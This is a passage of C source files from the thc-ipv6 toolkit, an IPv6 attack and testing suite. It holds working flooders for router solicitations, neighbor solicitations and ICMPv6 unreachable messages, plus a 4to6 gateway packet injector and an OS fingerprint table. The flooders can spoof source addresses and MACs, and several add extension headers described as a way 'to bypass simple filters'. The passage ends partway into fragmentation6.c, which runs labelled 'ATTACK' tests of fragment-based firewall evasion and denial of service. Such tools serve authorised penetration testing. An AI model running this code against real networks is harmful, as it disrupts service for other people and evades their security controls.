memcpy(&buf[32], route6, 16); memcpy(&buf[50], mac6, 6); count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i < do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff08ffff, buf, sizeof(buf), 0) < 0) return -1; if (do_dst) { thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); hdr = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, ip6, dst, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); } else { if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { printf("!"); // fprintf(stderr, "Error sending packet no. %d on interface %s: // ", count, interface); perror(""); return -1; } } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/flood_rs6.c000066400000000000000000000074011376121567700151060ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" extern int debug; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-sS] interface [target]\n\n", prg); printf("Flood the local network with ICMPv6 Router Soliciation packets.\n"); printf( "Option -s uses random source IPv6 addresses. Option -S also randomizes " "the MAC.\n"); // printf("-F/-D/-H add fragment/destination/hopbyhop header to bypass simple // filters\n"); printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface; unsigned char mac[6] = "", *mac6 = mac; unsigned char buf[1460]; unsigned char *dst = thc_resolve6("ff02::1"), *src = NULL, *dstmac = NULL; int i, k, type = NXT_ICMP6, offset = 14, mychecksum, prefer = PREFER_LINK; unsigned char *pkt2 = NULL; int pkt_len2 = 0, rawmode = 0, count = 0, do_hop = 0, do_frag = 0, do_dst = 0; int until = 0, rand_src = 0, rand_mac = 0; thc_ipv6_hdr *hdr = NULL; if (argc < 2 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "sSDFH")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 's': rand_src = 1; break; case 'S': rand_mac = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[optind]; if (argc - optind > 1) { if ((dst = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: could not resolve %s\n", argv[optind + 1]); exit(-1); } if (dst[0] >= 0x20 && dst[0] <= 0xfd) prefer = PREFER_GLOBAL; } dstmac = thc_get_mac(interface, src, dst); src = thc_get_own_ipv6(interface, dst, prefer); mac6 = thc_get_own_mac(interface); if (mac6 == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memset(buf, 0, sizeof(buf)); buf[0] = 1; buf[1] = 1; memcpy(buf + 2, mac6, 6); i = 8; if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len2, src, dst, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt2, &pkt_len2, ICMP6_ROUTERSOL, 0, 0, buf, i, 0) < 0) return -1; thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); hdr = (thc_ipv6_hdr *)pkt2; k = rand(); if (do_hdr_size) offset = do_hdr_size; printf( "Starting to flood with ICMPv6 router solicitation on %s (Press " "Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (until != 1) { if (rand_mac) { memcpy(hdr->pkt + 8, (char *)&k + _TAKE4, 4); memcpy(hdr->pkt + 14 + 40 + 8 + 2 + 2, (char *)&k + _TAKE4, 4); } if (rand_src) { memcpy(hdr->pkt + 14 + 8 + 8 + 5, (char *)&k + _TAKE3, 3); } if (rand_mac || rand_src) { hdr->pkt[offset + 42] = 0; hdr->pkt[offset + 43] = 0; mychecksum = checksum_pseudo_header( hdr->pkt + offset + 8, hdr->pkt + offset + 24, NXT_ICMP6, hdr->pkt + offset + 40, pkt_len2 - offset - 40); hdr->pkt[offset + 42] = mychecksum / 256; hdr->pkt[offset + 43] = mychecksum % 256; k++; } count++; if (thc_send_pkt(interface, pkt2, &pkt_len2) < 0) { printf("!"); } // usleep(1); if (count % 1000 == 0) printf("."); if (until > 1) until--; } return 0; } thc-ipv6-3.8/flood_solicitate6.c000066400000000000000000000112411376121567700166170ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-k | -m mac] [-a] interface [target [query-address]]\n\n", prg); printf("Flood the network with neighbor solicitations.\n"); printf("if not supplied, target is random and query address is ff02::1\n"); printf( "Use -a to add a hopbyhop header with router alert, -k to send with your " "real\nmac, -m to specify a mac or its randomized otherwise.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[8] = "", srcmac[8] = ""; unsigned char *mac6 = mac, *ip6, *query6, *smac = NULL; unsigned char buf[24]; unsigned char *dst = thc_resolve6("ff02::1"), *dstmac = thc_get_multicast_mac(dst), *target = NULL; int i, do_alert = 0, no_spoof = 0; unsigned char *pkt = NULL, buf2[6]; int pkt_len = 0, rawmode = 0, count = 0; if (argc > 1 && strncmp(argv[1], "-a", 2) == 0) { do_alert = 1; argc--; argv++; } if (argc > 2 && strncmp(argv[1], "-k", 2) == 0) { if ((smac = thc_get_own_mac(argv[2])) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", argv[2]); exit(-1); } argv++; argc--; } if (argc > 2 && strncmp(argv[1], "-m", 2) == 0) { sscanf(argv[2], "%x:%x:%x:%x:%x:%x", (unsigned int *)&srcmac[0], (unsigned int *)&srcmac[1], (unsigned int *)&srcmac[2], (unsigned int *)&srcmac[3], (unsigned int *)&srcmac[4], (unsigned int *)&srcmac[5]); smac = srcmac; argv += 2; argc -= 2; } if (argc > 1 && strncmp(argv[1], "-a", 2) == 0) { do_alert = 1; argc--; argv++; } if (smac != NULL) mac6 = smac; if (argc < 2 || argc > 4 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[1]; if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } if (argc > 2) if ((target = thc_resolve6(argv[2])) == NULL) { fprintf(stderr, "Error: Can not resolve %s\n", argv[2]); exit(-1); } query6 = dst; if (argc > 3) { if ((query6 = thc_resolve6(argv[3])) == NULL) { fprintf(stderr, "Error: Can not resolve %s\n", argv[2]); exit(-1); } else { dstmac = thc_get_mac(interface, NULL, query6); } if (query6[0] < 0xfe && query6[0] >= 0x20) no_spoof = 1; } if (no_spoof) { ip6 = thc_get_own_ipv6(interface, query6, PREFER_GLOBAL); memset(ip6 + 8, 0, 8); } else { ip6 = malloc(16); memset(ip6, 0, 16); ip6[0] = 0xfe; ip6[1] = 0x80; } ip6[8] = 0x02; ip6[9] = mac[1]; ip6[11] = 0xff; ip6[12] = 0xfe; mac[0] = 0x00; mac[1] = 0x18; memset(buf, 0, sizeof(buf)); buf[16] = 1; buf[17] = 1; buf[18] = mac[0]; buf[19] = mac[1]; if (target != NULL) memcpy(buf, target, 16); if (do_alert) { memset(buf2, 0, sizeof(buf2)); buf2[0] = 5; buf2[1] = 2; } printf( "Starting to flood network with neighbor solicitations on %s (Press " "Control-C to end, a dot is printed for every 1000 packets):\n", interface); while (1) { // use previous src as target if we did not specify a target if (target == NULL) memcpy(buf, ip6, 16); for (i = 2; i < 6; i++) mac[i] = rand() % 256; if (no_spoof == 0) { ip6[10] = mac[2]; ip6[13] = mac[3]; ip6[14] = mac[4]; ip6[15] = mac[5]; } memcpy(&buf[20], mac + 2, 4); count++; if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, query6, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_alert) if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, buf, sizeof(buf), 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { // fprintf(stderr, "Error sending packet no. %d on interface %s: ", // count, interface); perror(""); return -1; printf("!"); } pkt = thc_destroy_packet(pkt); // usleep(1); if (count % 1000 == 0) printf("."); } return 0; } thc-ipv6-3.8/flood_unreach6.c000066400000000000000000000114011376121567700161020ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s [-HFD] [-p|-h] [-r|-R] interface target\n\n", prg); printf("Flood the target with ICMPv6 unreachable packets.\n"); printf( "-F/-D/-H add fragment/destination/hopbyhop header to bypass simple " "filters\n"); printf( "-p/-h send port/host unreachable instead of network unreachable\n"); printf("-r/-R randomize source from /64 / randomize source completely\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { char * interface, mac[6] = "", newroutermac[6]; unsigned char *mac6 = mac; unsigned char buf[1460], buf2[6], buf3[1504]; unsigned char *dst = thc_resolve6("ff02::1"), *src = NULL, *fake_dst = NULL, *dstmac = NULL, *oldrouter = NULL, *newrouter = NULL; int i, j, k, type = NXT_ICMP6, offset = 14, rand_newrouter = 1, rand_src = 0, unreach = 0; unsigned char *pkt = NULL, *pkt2 = NULL; int pkt_len = 0, pkt_len2 = 0, rawmode = 0, count = 0, do_alert = 0, do_hop = 0, do_frag = 0, do_dst = 0; int until = 0; thc_ipv6_hdr *hdr = NULL, *hdr2 = NULL; if (argc < 3) help(argv[0]); while ((i = getopt(argc, argv, "DFHphrR")) >= 0) { switch (i) { case 'p': unreach = 4; break; case 'h': unreach = 3; break; case 'r': rand_src = 1; break; case 'R': rand_src = 2; break; case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'a': do_alert = 1; do_hop = 1; break; case 'D': do_dst = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 1) help(argv[0]); srand(time(NULL) + getpid()); setvbuf(stdout, NULL, _IONBF, 0); interface = argv[optind]; dst = thc_resolve6(argv[optind + 1]); mac6 = thc_get_own_mac(interface); src = thc_get_own_ipv6(interface, dst, PREFER_GLOBAL); dstmac = thc_get_mac(interface, src, dst); if (mac6 == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } // we keep our real source in the packet to report as unreachable to allow // tracing misuse of the tool if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, dst, src, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_udp(pkt2, &pkt_len2, 53, 53, 0, NULL, 0) < 0) return -1; thc_generate_pkt(interface, mac6, dstmac, pkt2, &pkt_len2); hdr = (thc_ipv6_hdr *)pkt2; if (do_hdr_size) offset = do_hdr_size; memset(buf3, 0, sizeof(buf3)); memcpy(buf, hdr->pkt + offset, hdr->pkt_len - offset); j = hdr->pkt_len - offset; if (do_alert) { buf2[0] = 5; buf2[1] = 2; } printf( "Starting to flood with ICMPv6 unreachable on %s (Press Control-C to " "end, a dot is printed for every 1000 packets):\n", interface); while (until != 1) { if (rand_src > 0) { for (i = 0; i < 8; i++) src[8 + i] = rand() % 256; if (rand_src > 1) for (i = 1; i < 8; i++) src[i] = rand() % 256; } if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src, dst, 255, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i < do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, count + i) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_icmp6(pkt, &pkt_len, ICMP6_UNREACH, unreach, 0, buf, j, 0) < 0) return -1; if (do_dst) { thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len); hdr2 = (thc_ipv6_hdr *)pkt; thc_send_as_fragment6(interface, oldrouter, dst, type, hdr2->pkt + 40 + offset, hdr2->pkt_len - 40 - offset, 1240); } else { if (thc_generate_and_send_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) { printf("!"); } } count++; pkt = thc_destroy_packet(pkt); if (count % 1000 == 0) printf("."); if (until > 1) until--; } return 0; } thc-ipv6-3.8/four2six.c000066400000000000000000000115061376121567700147730ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-FHD] [-m srcmac] [-s src6] [-p srcport] interface " "ipv6-to-ipv4-gateway ipv4-src ipv4-dst [port]\n\n", prg); printf("Options:\n"); printf( " -F insert atomic fragment header (can be set multiple " "times)\n"); printf(" -H insert and empty hop-by-hop header\n"); printf( " -D insert a large destination header that fragments the " "packet\n"); printf(" -p srcport set a specific UDP source port or Ping ID\n"); printf(" -s src6 set a specific IPv6 source address\n"); printf(" -m srcmac set a specific MAC source address\n"); printf( "\nSend an IPv4 packet to an IPv6 4to6 gateway. If a port is specified, " "a UDP packet is sent, otherwise an ICMPv4 ping.\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt1 = NULL, buf2[6], buf3[1500]; unsigned char *gateway6, *src6 = NULL, *dst6 = NULL, srcmac[16] = "", *mac = NULL; int pkt1_len = 0, prefer = PREFER_GLOBAL, i, do_hop = 0, do_dst = 0, do_frag = 0, cnt, type = NXT_ICMP6, offset = 14; char * interface; thc_ipv6_hdr *hdr; int src4 = 0, dst4 = 0, port = -1, sport = 10240 + getpid() % 10240; if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (getenv("THC_IPV6_PPPOE") != NULL || getenv("THC_IPV6_6IN4") != NULL) printf("WARNING: %s is not working with injection!\n", argv[0]); while ((i = getopt(argc, argv, "DFHs:m:p:")) >= 0) { switch (i) { case 'F': do_frag++; break; case 'H': do_hop = 1; break; case 'D': do_dst = 1; break; case 'm': mac = srcmac; sscanf(optarg, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); break; case 's': if ((src6 = thc_resolve6(optarg)) == NULL) { fprintf(stderr, "Error: invalid IPv6 source address specified: %s\n", optarg); } break; case 'p': sport = atoi(optarg); break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 4) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; if ((gateway6 = thc_resolve6(argv[optind + 1])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[optind + 1]); exit(-1); } // src ip4, dst ip4 if (inet_aton(argv[optind + 2], (struct in_addr *)&src4) < 0) { fprintf(stderr, "Error: not a valid IPv4 address: %s\n", argv[optind + 2]); exit(-1); } if (inet_aton(argv[optind + 3], (struct in_addr *)&dst4) < 0) { fprintf(stderr, "Error: not a valid IPv4 address: %s\n", argv[optind + 3]); exit(-1); } if (argc - optind > 4) port = atoi(argv[optind + 4]); if (mac == NULL) { if ((mac = thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } } if ((pkt1 = thc_create_ipv6_extended(interface, prefer, &pkt1_len, src6, gateway6, 64, 0, 0, 0, 0)) == NULL) return -1; if (do_hop) { type = NXT_HBH; if (thc_add_hdr_hopbyhop(pkt1, &pkt1_len, buf2, sizeof(buf2)) < 0) return -1; } if (do_frag) { if (type == NXT_ICMP6) type = NXT_FRAG; for (i = 0; i <= do_frag; i++) if (thc_add_hdr_oneshotfragment(pkt1, &pkt1_len, cnt++) < 0) return -1; } if (do_dst) { if (type == NXT_ICMP6) type = NXT_DST; if (thc_add_hdr_dst(pkt1, &pkt1_len, buf3, sizeof(buf3)) < 0) return -1; } if (thc_add_ipv4_rudimentary(pkt1, &pkt1_len, src4, dst4, sport, port) < 0) return -1; if (thc_generate_pkt(interface, mac, NULL, pkt1, &pkt1_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Sending IPv4 %s packet from %s to %s via 4to6 gateway %s\n", port == -1 ? "ICMPv4 ping" : "UDPv4", argv[optind + 2], argv[optind + 3], argv[optind + 1]); if (do_dst) { hdr = (thc_ipv6_hdr *)pkt1; thc_send_as_fragment6(interface, src6, dst6, type, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, 1240); } else { thc_send_pkt(interface, pkt1, &pkt1_len); } return 0; } thc-ipv6-3.8/fps.h000066400000000000000000000075661376121567700140220ustar00rootroot00000000000000/* Copyright (c) warlord @ nologin.org. All rights reserved. For more information, please visit http://www.nologin.org */ static struct fingerprints { char *fingerprint; char *OS; } fingerprintsArray[] = { {"0040:b0:ffff:SS05a0:NOP:WSxx:NOP:NOP:TS:SP:NOP:NOP", "QNX 6.x"}, {"002c:60:16d0:SS059c", "LWP embedded TCP/IP stack"}, {"003c:a0:4000:SS05a0:NOP:WSxx:SP:TS", "Ironport"}, {"0028:50:0100", "Dell Switch"}, {"0028:50:0200", "Dell Switch"}, {"0028:50:0218", "Packeteer PacketShaper"}, {"0028:50:0800", "Livingston Portmaster|Dell Switch"}, {"0028:50:1000", "Cabletron Switch"}, {"0028:50:2000", "NetBotz Network Monitoring Appliance"}, {"0028:50:ffff", "Netscreen Firewall"}, {"002c:60:1020:SS0204", "Cisco IOS (e.g. Switch ME2600)"}, {"002c:60:16d0:SS05b4", "Solaris v?"}, {"002c:60:2000:SS0200", "Huawei MA5600"}, {"002c:60:2000:SS0564", "Windows 2003 Server"}, {"002c:60:5000:SS0578", "Astoria Networks DSL Modem"}, {"002c:60:5b40:SS0218", "Polycom ViewStation FX MP"}, {"002c:60:faf0:SS05b4", "Linux 3.2.x - 3.4.x | Playstation 4"}, {"002c:60:1020:SS05a0", "Cisco Catalyst 4xxx"}, {"0030:70:2238:SS05b4:NOP:NOP:SP", "Windows 98"}, {"0030:70:4000:SS05a0:WSxx", "Cisco ASR"}, {"0030:70:ffff:SS059c:SP", "Centos v?"}, {"0034:80:3908:SS0578:NOP:NOP:SP:NOP:WSxx", "QVIS DVR"}, {"0038:90:16a0:SS0564:SP:TS", "Mac OS X Server v? | Linux v?"}, {"0038:90:2000:SS0564:SP:TS", "Windows Server 2008 R2 | Windows 7"}, {"0038:90:2000:SS05b4:SP:TS", "Windows Vista | Windows Server 2008"}, {"003c:a0:102c:SS0564:NOP:NOP:TS:SP", "F5 BigIP"}, {"003c:a0:1640:SS059c:SP:TS:NOP:WSxx", "Metaswitch Perimeta Session Border Controller"}, {"003c:a0:1650:SS05a0:SP:TS:NOP:WSxx", "Linux 2.6.x"}, {"003c:a0:1680:SS05ac:SP:TS:NOP:WSxx", "Broadband RouterLLLL"}, {"003c:a0:16a0:SS05ac:SP:TS:NOP:WSxx", "Mikrotik Router"}, {"003c:a0:16a0:SS05b4:SP:TS:NOP:WSxx", "Solaris 8 | NetBSD v? | Linux v?"}, {"003c:a0:2000:SS0400:NOP:WSxx:NOP:NOP:TS", "Alcatel TiMOS Router"}, {"002c:60:2000:SS0400", "Alcatel TiMOS Router"}, {"002c:60:8000:SS0400", "Alcatel TiMOS Router"}, {"003c:a0:2000:SS05a0:NOP:WSxx:SP:TS", "Windows 7"}, {"003c:a0:2000:SS05b4:NOP:WSxx:SP:TS", "Windows Vista | Windows 7 | Windows 8 | Windows Server 2008 | Windows " "2012 Server"}, {"003c:a0:37c8:SS05a0:SP:TS:NOP:WSxx", "Linux 3.2.x"}, {"003c:a0:3890:SS0514:SP:TS:NOP:WSxx", "Centos v?"}, {"003c:a0:3890:SS05b4:SP:TS:NOP:WSxx", "Linux v? | ?Loadbalancer/Cloud?"}, {"003c:a0:4380:SS05ac:NOP:WSxx:NOP:NOP:TS", "Motorola Residential Gateway"}, {"003c:a0:4750:SS05a0:SP:TS:NOP:WSxx", "A10 Networks Appliance"}, {"003c:a0:6f90:SS05a0:SP:TS:NOP:WSxx", "Linux 3.12+"}, {"003c:a0:8000:SS0400:NOP:WSxx:NOP:NOP:TS", "Alcatel TiMOS Router"}, {"003c:a0:8000:SS400c:SP:TS:NOP:WSxx", "Linux 3.2.x Ubuntu"}, {"003c:a0:ffff:SS05a0:NOP:WSxx:SP:TS", "FreeBSD 8.1"}, {"003c:a0:ffff:SS05b4:NOP:WSxx:SP:TS", "FreeBSD v?"}, {"0040:b0:4000:SS05b4:NOP:WSxx:NOP:NOP:TS:NOP:NOP:SP", "Windows 2003 Server"}, {"0040:b0:8000:SS0564:NOP:NOP:SP:WSxx:NOP:NOP:NOP:TS", "HP-UX v?"}, {"0040:b0:8000:SS05a0:NOP:WSxx:NOP:NOP:TS:SP:NOP:NOP", "NetBSD v?"}, {"0040:b0:8000:SS05b4:NOP:NOP:SP:WSxx:NOP:NOP:NOP:TS", "HP-UX v?"}, {"0040:b0:8026:NOP:NOP:TS:SS05b4:NOP:WSxx:NOP:NOP:SP", "Solaris v?"}, {"0040:b0:faf0:SS05b4:NOP:WSxx:NOP:NOP:TS:NOP:NOP:SP", "Windows XP SP3|Windows 2000 Server|Windows Server 2003"}, {"0040:b0:fffd:SS05a0:NOP:WS02:NOP:NOP:TS:SP:UOP:UOP", "F5"}, {"0040:b0:fffd:SS05a0:NOP:WSxx:NOP:NOP:TS:SP:UOP:UOP", "F5 BigIP"}, {"0040:b0:fffd:SS05b4:NOP:WSxx:NOP:NOP:TS:SP", "Windows Server 2008 R2 | Windows 7 | Redhat v?"}, {"0040:b0:ffff:SS05b4:NOP:WSxx:NOP:NOP:TS:SP", "Mac OS X Server v?"}, {"0040:b0:ffff:SS05a0:NOP:WSxx:NOP:NOP:TS:SP", "Mac OS X Maverick"}, }; thc-ipv6-3.8/fragmentation6.c000066400000000000000000002470561376121567700161510ustar00rootroot00000000000000/* * checks if a firewall performs a check on a second, duplicate fragment * */ #include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" int matched = 0, gtype1, gtype1a, gtype2, gtype2a, gpos, epos; unsigned char *gpattern, *gsrc, *gdst; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-fp] [-n number] interface destination [test-case-no]\n\n", prg); printf( "-f activates flooding mode, no pauses between sends; -p disables first " "and\n"); printf("final pings, -n number specifies how often each test is performed\n"); printf( "\nPerforms fragment firewall and implementation checks, incl. " "denial-of-service.\n"); exit(-1); } int main(int argc, char *argv[]) { int count = 0, only = 0, i, flood = 0, ping = 1, resend = 1, curr = 0; unsigned char buf[1500], bla[1200], tests[256], lbuf[67000]; unsigned char *dst6, *src6; unsigned char *srcmac = NULL, *dstmac = NULL; thc_ipv6_hdr * hdr; int offset = 14, fragsize = 0; unsigned char *pkt = NULL, *pkt2 = NULL, *pkt3 = NULL; int pkt_len = 0, pkt_len2 = 0, pkt_len3 = 0; char * interface, tos; char ch = 'A'; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); while ((i = getopt(argc, argv, "fpn:")) >= 0) { switch (i) { case 'n': resend = atoi(optarg); break; case 'p': ping = 0; break; case 'f': flood = 1; break; default: fprintf(stderr, "Error: invalid option %c\n", i); exit(-1); } } if (argc - optind < 2) help(argv[0]); if (do_hdr_size) offset = do_hdr_size; interface = argv[optind]; dst6 = thc_resolve6(argv[optind + 1]); if (argc - optind > 2 && argv[optind + 2] != NULL) only = atoi(argv[optind + 2]); if (flood && (only == 0 || resend != 1)) { fprintf(stderr, "Error: the -f flood option must be used with a defined testcase, " "and the -n option can not be used with it\n"); exit(-1); } if ((src6 = thc_get_own_ipv6(interface, dst6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } srcmac = thc_get_own_mac(interface); if ((dstmac = thc_get_mac(interface, src6, dst6)) == NULL) { fprintf(stderr, "ERROR: Can not resolve mac address for %s\n", argv[2]); exit(-1); } fragsize = ((200 - 62) / 8) * 8; setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); memset(tests, 0, sizeof(tests)); memset(lbuf, 'A', sizeof(lbuf)); printf("Run a sniffer behind the firewall to see what passes through\n\n"); memset(bla, ch++, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&bla, sizeof(bla), 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; /**/ memset(bla, 'Z', sizeof(bla)); if ((pkt2 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len2, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt2, &pkt_len2, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&bla, sizeof(bla), 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt2, &pkt_len2) < 0) return -1; // dummy, dont remove, incomplete by choice if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; printf("ATTACK initialisation\n"); if (ping) { printf(" Sending ping to %s\n", argv[optind + 1]); thc_ping6(interface, src6, dst6, 10, 1); // printf("Now sleeping for 1 second\n"); sleep(1); } curr = 0; if (only == ++count || only == 0) while (curr < resend || flood) { if (flood == 0 || curr == 0) printf( "ATTACK Firewall %d - resending fragments with different data " "within stream (2nd real)\n", count); if (flood == 0 || curr == 0) printf(" Sending first fragment\n"); hdr = (thc_ipv6_hdr *)pkt; pkt3 = thc_destroy_packet(pkt3); if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset, 400 + 8); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 408)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (flood == 0 || curr == 0) printf(" Sending second fragment with fake data and ttl=1\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt2; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 1, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore // printf("Now sleeping for 1 second\n"); if (!flood) sleep(1); if (flood == 0 || curr == 0) printf( " Sending duplicate second fragment with real data and ttl=64\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 51, 1, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 400 + 8, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); if (flood == 0 || curr == 0) printf(" Sending third and final fragment\n"); pkt3 = thc_destroy_packet(pkt3); hdr = (thc_ipv6_hdr *)pkt; if ((pkt3 = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len3, src6, dst6, 64, 0, count, 0, 0)) == NULL) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 101, 0, count + curr)) return -1; memcpy(buf, hdr->pkt + 40 + offset + 808, 400); if (thc_add_data6(pkt3, &pkt_len3, NXT_ICMP6, buf, 400)) return -1; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore if (!flood) sleep(1); curr++; } curr = 0; if (only == ++count || only == 0) 